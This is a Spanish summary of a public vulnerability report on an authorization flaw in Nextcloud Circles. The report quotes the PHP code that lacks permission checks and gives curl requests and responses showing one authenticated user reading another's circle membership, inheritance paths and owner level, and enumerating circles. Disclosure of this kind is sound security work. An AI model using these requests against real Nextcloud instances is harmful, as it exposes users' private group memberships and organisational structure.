Reports
BAJA[IDOR / BOLA]#3484601

IDOR en Nextcloud Circles: cualquier usuario podía consultar la membresía de cualquier círculo

El endpoint link de la app Circles de Nextcloud no comprobaba autorización, así que cualquier usuario autenticado podía leer la membresía de cualquier círculo y usuario conociendo sus IDs.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El método getMembership() de la app Circles de Nextcloud, presente en MembershipService y MembershipRequest, no verificaba que el usuario que hacía la petición tuviera permiso para ver la información de membresía de una combinación concreta de círculo y usuario. Cualquier usuario autenticado podía consultar los detalles de membresía (rutas de herencia, niveles de membresía y relaciones entre círculos) de cualquier círculo y cualquier usuario con solo conocer o adivinar sus IDs.

Se le asignó CVE-2026-68493 y Nextcloud publicó el aviso de seguridad GHSA-f99w-3pm7-v4cv. El programa pagó recompensa (importe no público).

Causa raíz

Ninguna de las capas de la cadena de llamadas aplica una comprobación de autorización:

  1. MembershipService::getMembership() (lib/Service/MembershipService.php) llama directamente a MembershipRequest::getMembership() sin comprobar permisos. Su firma ni siquiera recibe un parámetro $initiator, así que no le llega ningún contexto de permisos:
public function getMembership(string $circleId, string $singleId, bool $detailed = false): Membership {
    $membership = $this->membershipRequest->getMembership($circleId, $singleId);  // No authorization check!
    if ($detailed) {
        $details = $this->circleRequest->getCirclesByIds($membership->getInheritancePath());
        $membership->setInheritanceDetails($details);  // Also leaks circle details
    }

    return $membership;
}
  1. MembershipRequest::getMembership() (lib/Db/MembershipRequest.php) consulta la base de datos filtrando solo por circleId y singleId, sin ningún filtro de permisos, de modo que devuelve datos para cualquier combinación que exista:
public function getMembership(string $circleId, string $singleId): Membership {
    $qb = $this->getMembershipSelectSql();
    $qb->limitToCircleId($circleId);
    $qb->limitToSingleId($singleId);
    $qb->leftJoinCircleConfig(self::TABLE_MEMBERSHIP);

    return $this->getItemFromRequest($qb);  // No permission check!
}
  1. El endpoint link() de LocalController (lib/Controller/LocalController.php) está marcado con @NoAdminRequired y solo llama a setCurrentFederatedUser(), que comprueba únicamente que el usuario esté autenticado, no que tenga permiso sobre la membresía pedida. Además siempre invoca getMembership() con detailed=true, y getCirclesByIds() usa minimumLevel => Member::LEVEL_NONE, así que también expone los detalles completos de todos los círculos de la ruta de herencia:
public function link(string $circleId, string $singleId): DataResponse {
    try {
        $this->setCurrentFederatedUser();
        $membership = $this->membershipService->getMembership($circleId, $singleId, true);  // No authorization!

        return new DataResponse($this->serialize($membership));
    } catch (Exception $e) {
        $this->e($e, ['circleId' => $circleId, 'singleId' => $singleId]);
        throw new OCSException($e->getMessage(), (int)$e->getCode());
    }
}

Ruta afectada, según el reporte:

GET /ocs/v2.php/circles/link/{circleId}/{singleId}

Pasos de reproducción

Entorno de prueba: Nextcloud 32.0.3 con la app Circles 32.0.0. El atacante solo necesita una cuenta autenticada válida, poder hacer peticiones HTTP a la instancia y conocer (o adivinar por fuerza bruta) los valores de circleId y singleId.

  1. La víctima crea un círculo:
curl -X POST "http://localhost:8080/ocs/v2.php/apps/circles/circles" \
  -H "OCS-APIRequest: true" \
  -H "Content-Type: application/json" \
  -u victim:[REDACTADO] \
  -d '{"name": "Victim Secret Circle", "personal": false}'

La respuesta devuelve el id del círculo y el singleId del iniciador:

<data>
  <id>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</id>
  <name>Victim Secret Circle</name>
  <displayName>Victim Secret Circle</displayName>
  <initiator>
    <singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
    <userId>victim</userId>
  </initiator>
</data>
  1. La víctima consulta su propia membresía (acceso legítimo, sirve de referencia):
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
  -H "OCS-APIRequest: true" \
  -u victim:[REDACTADO]
  1. El atacante, con su propia cuenta, hace exactamente la misma consulta:
curl -X GET "http://localhost:8080/ocs/v2.php/apps/circles/link/r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk/ovYvboLMBNGvRXSkqhgllIKo6T7fvZl" \
  -H "OCS-APIRequest: true" \
  -u attacker:[REDACTADO]
  1. Ambas peticiones devuelven datos idénticos, lo que confirma el acceso no autorizado:
<data>
  <singleId>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</singleId>
  <circleId>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</circleId>
  <circleConfig>0</circleConfig>
  <level>9</level>
  <inheritanceFirst>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</inheritanceFirst>
  <inheritanceLast>r2gmJl8n5xKWecQaVYe1dP3h6nqIUDk</inheritanceLast>
  <inheritancePath>
    <element>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</element>
  </inheritancePath>
  <inheritanceDepth>1</inheritanceDepth>
  <inheritanceDetails>
    <element>
      <id>ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</id>
      <name>user:victim:ovYvboLMBNGvRXSkqhgllIKo6T7fvZl</name>
      <displayName>victim</displayName>
      <userId>victim</userId>
      <owner>
        <userId>victim</userId>
      </owner>
    </element>
  </inheritanceDetails>
</data>

El atacante obtiene el ID del círculo, el singleId de la víctima, su nivel de membresía (9, propietario), la ruta de herencia con los detalles de los círculos y la identificación del usuario.

Como la única excepción posible es MembershipNotFoundException cuando la combinación no existe, el endpoint sirve además de oráculo de enumeración: distingue entre "la membresía existe" (devuelve datos) y "no existe" (lanza excepción).

Impacto

Cualquier usuario autenticado podía:

  • Acceder a la información de membresía de cualquier combinación de círculo y usuario.
  • Descubrir círculos privados u ocultos enumerando relaciones de membresía.
  • Mapear la estructura organizativa a través de las rutas de herencia.
  • Conocer niveles de membresía y jerarquías sin autorización.
  • Identificar relaciones entre círculos y estructuras anidadas.

En un escenario real, un atacante podría enumerar todos los círculos a los que pertenece un objetivo, descubrir círculos directivos o equipos confidenciales, reconstruir la jerarquía de la organización e identificar a personas clave, información útil para ataques de ingeniería social dirigidos. El investigador apunta también a un posible choque con normativas de protección de datos como el RGPD.

Remediación

El reporte no detalla la corrección aplicada; los detalles están en el aviso de seguridad GHSA-f99w-3pm7-v4cv.